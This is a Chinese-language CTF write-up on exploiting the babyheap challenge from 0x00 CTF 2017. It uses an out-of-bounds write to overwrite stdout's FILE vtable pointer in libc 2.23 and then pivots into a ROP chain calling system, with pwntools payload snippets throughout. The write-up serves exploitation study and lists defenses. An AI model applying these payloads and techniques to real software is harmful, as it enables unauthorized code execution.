Pwn with File结构体之利用 vtable 进行 ROP
字数 1313 2025-08-20 18:17:07
利用File结构体vtable进行ROP攻击的技术分析
漏洞背景
本文以0x00 CTF 2017的babyheap题目为例,详细讲解如何通过修改vtable进行ROP攻击的技术。该技术利用了程序中的越界读写漏洞,通过篡改IO_FILE结构体的虚表指针,最终实现控制流劫持。
程序分析
安全措施检查
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
关键点:没有开启PIE,意味着代码段的地址固定,便于利用。
程序功能
- 初始化功能:程序开始时要求用户往bss段的name缓冲区输入内容
- add函数:分配指定大小的内存并读入username
- edit函数:根据输入的index写入内容(无边界检查)
- ban函数:释放user对象
- changename函数:修改bss段的name
- 特殊功能:选项5会打印read函数的地址,可泄露libc基址
关键漏洞
edit函数存在越界读漏洞:
- 直接使用用户输入的数字作为数组索引
- 可以从users数组外读取数据作为指针
- 结合可控的name缓冲区,可实现任意地址写
BSS段布局
users数组起始地址: 0x0602040
name缓冲区地址: 0x006020a0
计算偏移:(0x006020a0-0x00602040)/8 = 12,意味着索引12会从name缓冲区开始处取8字节作为指针。
漏洞利用
利用思路
- 通过选项5泄露libc地址
- 利用edit和changename实现任意地址写
- 题目使用libc 2.23(无虚表保护)
- 选择修改stdout的虚表指针,伪造stdout的虚表
- 在调用虚表时控制RIP
技术细节
-
stdout结构分析:
- stdout是
_IO_FILE_plus类型,大小0xe0 - 最后8字节是vtable指针(stdout+0xd8处)
- vtable类型是
struct _IO_jump_t,大小0xa8
- stdout是
-
伪造虚表限制:
- name缓冲区大小仅0x28,无法伪造整个虚表
- 只需修改虚表中接下来会被调用的项的指针
利用步骤
- 泄露libc基址:
choice(5)
p.recvuntil("your gift:\n")
libc.address = int(p.recvline().strip()) - libc.symbols['read']
stdout_vtable_addr = libc.symbols['_IO_2_1_stdout_'] + 0xd8
- 布置name缓冲区:
choice(4)
payload = ""
payload += p64(stdout_vtable_addr) # 修改虚表指针
payload += cyclic(0x28 - len(payload))
p.sendafter("enter new name:", payload)
- 触发任意地址写:
choice(2)
p.sendlineafter("2. insecure edit", "2")
p.sendlineafter("index: ", '12') # 从name缓冲区开始处取8字节作为指针
payload = p64(bss_name) # 修改vtable的值
p.sendafter("new username: ", payload[:6]) # 只发送6字节
- 控制流劫持:
- 当调用虚表时,会执行
call [rax + 0x38] - 通过设置
$rax = bss_name - 0x18,使$rax + 0x38指向可控区域
ROP利用
- gadget选择:
使用libc中的代码片段(位于authnone_create-0x35处):
mov rdi, rsp
call qword ptr [rax+20h]
...
- 利用思路:
- 设置
rax+0x20为gets函数地址 - 通过gets向栈中写入ROP链
- 控制程序流进入ROP链
- ROP链构造:
pop_rdi_ret = 0x0000000000400f13
zero_addr = 0x6020c8 # 该位置的值为p64(0)
payload = 'a' * 8
payload += p64(zero_addr - 0x38)
payload += cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(sh_addr)
payload += p64(libc.symbols['system'])
p.sendline(payload)
技术总结
-
关键点:
- 利用越界读实现任意地址写
- 修改stdout的vtable指针
- 通过控制虚表调用劫持控制流
- 使用特殊gadget实现栈迁移
-
适用场景:
- 存在任意地址写能力
- 能控制rax指向的内容
- 可以修改虚表指针的情况
-
防御措施:
- 启用PIE
- 对数组访问进行边界检查
- 使用现代libc版本(有虚表保护)
参考资源
通过本文的分析,我们深入了解了如何利用File结构体的vtable进行ROP攻击的技术细节,这种技术在CTF比赛和实际漏洞利用中都有重要应用价值。